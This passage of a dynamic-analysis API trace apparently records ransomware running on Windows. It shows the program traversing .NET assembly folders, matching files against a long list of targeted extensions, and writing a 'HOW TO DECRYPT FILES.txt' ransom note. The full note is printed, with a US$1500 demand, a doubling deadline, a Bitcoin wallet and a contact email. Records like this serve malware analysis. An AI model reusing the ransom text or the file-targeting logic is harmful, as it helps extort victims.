pszSpec="*.xdw") returned 0 [0105.152] lstrlenA (lpString="*.xdw") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.ods") returned 0 [0105.152] lstrlenA (lpString="*.ods") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.wav") returned 0 [0105.152] lstrlenA (lpString="*.wav") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.mp3") returned 0 [0105.152] lstrlenA (lpString="*.mp3") returned 5 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.aiff") returned 0 [0105.152] lstrlenA (lpString="*.aiff") returned 6 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.flac") returned 0 [0105.152] lstrlenA (lpString="*.flac") returned 6 [0105.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.m4a") returned 0 [0105.153] lstrlenA (lpString="*.m4a") returned 5 [0105.153] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\System.Data.Services.ni.dll", pszSpec="*.csv") returned 0 [0105.153] lstrlenA (lpString="*.csv") returned 5 [0105.153] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c384d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84c384d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84caa8f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1ef800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.153] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.153] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c335a6ef5339fa917518475c286c8ca4", cAlternateFileName="C335A6~1")) returned 0 [0105.153] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.153] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.SqlXml", cAlternateFileName="SYSTEM~1.SQL")) returned 1 [0105.153] lstrcmpA (lpString1=".", lpString2="System.Data.SqlXml") returned -1 [0105.153] lstrcmpA (lpString1="..", lpString2="System.Data.SqlXml") returned -1 [0105.153] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.153] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.SqlXml" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml" [0105.154] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml") returned 65 [0105.154] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.154] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.155] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.155] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.155] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.155] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4308c2310ca6f08c6e0068172e5b709f", cAlternateFileName="4308C2~1")) returned 1 [0105.155] lstrcmpA (lpString1=".", lpString2="4308c2310ca6f08c6e0068172e5b709f") returned -1 [0105.155] lstrcmpA (lpString1="..", lpString2="4308c2310ca6f08c6e0068172e5b709f") returned -1 [0105.155] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\*.*") returned="*.*" [0105.155] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\", lpString2="4308c2310ca6f08c6e0068172e5b709f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f" [0105.155] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f") returned 98 [0105.155] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.156] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.156] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4bb3543, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4bb3543, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4bb3543, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.156] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.156] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.156] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4aa8ba1, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4aa8ba1, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4b1afc2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x264600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.156] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0105.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0105.156] lstrcmpiA (lpString1="", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0105.156] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\*.*") returned="*.*" [0105.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\" [0105.156] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\") returned="" [0105.156] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\HOW TO DECRYPT FILES.txt" [0105.156] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.sqlxml\\4308c2310ca6f08c6e0068172e5b709f\\how to decrypt files.txt")) returned 0xffffffff [0105.157] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.sqlxml\\4308c2310ca6f08c6e0068172e5b709f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.158] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.158] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.160] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.161] CloseHandle (hObject=0x90) returned 1 [0105.161] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\", lpString2="System.Data.SqlXml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll" [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.ems") returned 0 [0105.161] lstrlenA (lpString="*.ems") returned 5 [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.db") returned 0 [0105.161] lstrlenA (lpString="*.db") returned 4 [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.dbf") returned 0 [0105.161] lstrlenA (lpString="*.dbf") returned 5 [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.myox") returned 0 [0105.161] lstrlenA (lpString="*.myox") returned 6 [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.myo") returned 0 [0105.161] lstrlenA (lpString="*.myo") returned 5 [0105.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbw") returned 0 [0105.161] lstrlenA (lpString="*.qbw") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbb") returned 0 [0105.162] lstrlenA (lpString="*.qbb") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbm") returned 0 [0105.162] lstrlenA (lpString="*.qbm") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbo") returned 0 [0105.162] lstrlenA (lpString="*.qbo") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbx") returned 0 [0105.162] lstrlenA (lpString="*.qbx") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qba") returned 0 [0105.162] lstrlenA (lpString="*.qba") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qby") returned 0 [0105.162] lstrlenA (lpString="*.qby") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qbj") returned 0 [0105.162] lstrlenA (lpString="*.qbj") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.ofx") returned 0 [0105.162] lstrlenA (lpString="*.ofx") returned 5 [0105.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.qif") returned 0 [0105.162] lstrlenA (lpString="*.qif") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mye") returned 0 [0105.163] lstrlenA (lpString="*.mye") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mbox") returned 0 [0105.163] lstrlenA (lpString="*.mbox") returned 6 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.eml") returned 0 [0105.163] lstrlenA (lpString="*.eml") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.pst") returned 0 [0105.163] lstrlenA (lpString="*.pst") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.ost") returned 0 [0105.163] lstrlenA (lpString="*.ost") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.idx") returned 0 [0105.163] lstrlenA (lpString="*.idx") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.dbx") returned 0 [0105.163] lstrlenA (lpString="*.dbx") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.sql") returned 0 [0105.163] lstrlenA (lpString="*.sql") returned 5 [0105.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mdb") returned 0 [0105.163] lstrlenA (lpString="*.mdb") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.fdb") returned 0 [0105.164] lstrlenA (lpString="*.fdb") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.wab") returned 0 [0105.164] lstrlenA (lpString="*.wab") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.dat") returned 0 [0105.164] lstrlenA (lpString="*.dat") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.txt") returned 0 [0105.164] lstrlenA (lpString="*.txt") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.jpeg") returned 0 [0105.164] lstrlenA (lpString="*.jpeg") returned 6 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.jpg") returned 0 [0105.164] lstrlenA (lpString="*.jpg") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.png") returned 0 [0105.164] lstrlenA (lpString="*.png") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.php") returned 0 [0105.164] lstrlenA (lpString="*.php") returned 5 [0105.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.cs") returned 0 [0105.164] lstrlenA (lpString="*.cs") returned 4 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.cpp") returned 0 [0105.165] lstrlenA (lpString="*.cpp") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.rar") returned 0 [0105.165] lstrlenA (lpString="*.rar") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.zip") returned 0 [0105.165] lstrlenA (lpString="*.zip") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.html") returned 0 [0105.165] lstrlenA (lpString="*.html") returned 6 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.htm") returned 0 [0105.165] lstrlenA (lpString="*.htm") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.xlsx") returned 0 [0105.165] lstrlenA (lpString="*.xlsx") returned 6 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.xls") returned 0 [0105.165] lstrlenA (lpString="*.xls") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.mp4") returned 0 [0105.165] lstrlenA (lpString="*.mp4") returned 5 [0105.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.ppt") returned 0 [0105.166] lstrlenA (lpString="*.ppt") returned 5 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.pptx") returned 0 [0105.166] lstrlenA (lpString="*.pptx") returned 6 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.doc") returned 0 [0105.166] lstrlenA (lpString="*.doc") returned 5 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.dot") returned 0 [0105.166] lstrlenA (lpString="*.dot") returned 5 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.docx") returned 0 [0105.166] lstrlenA (lpString="*.docx") returned 6 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.7z") returned 0 [0105.166] lstrlenA (lpString="*.7z") returned 4 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.tar") returned 0 [0105.166] lstrlenA (lpString="*.tar") returned 5 [0105.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.SqlXml\\4308c2310ca6f08c6e0068172e5b709f\\System.Data.SqlXml.ni.dll", pszSpec="*.bz2") returned 0 [0105.166] lstrlenA (lpString="*.bz2") returned 5 [0105.166] PathMatchSpecA 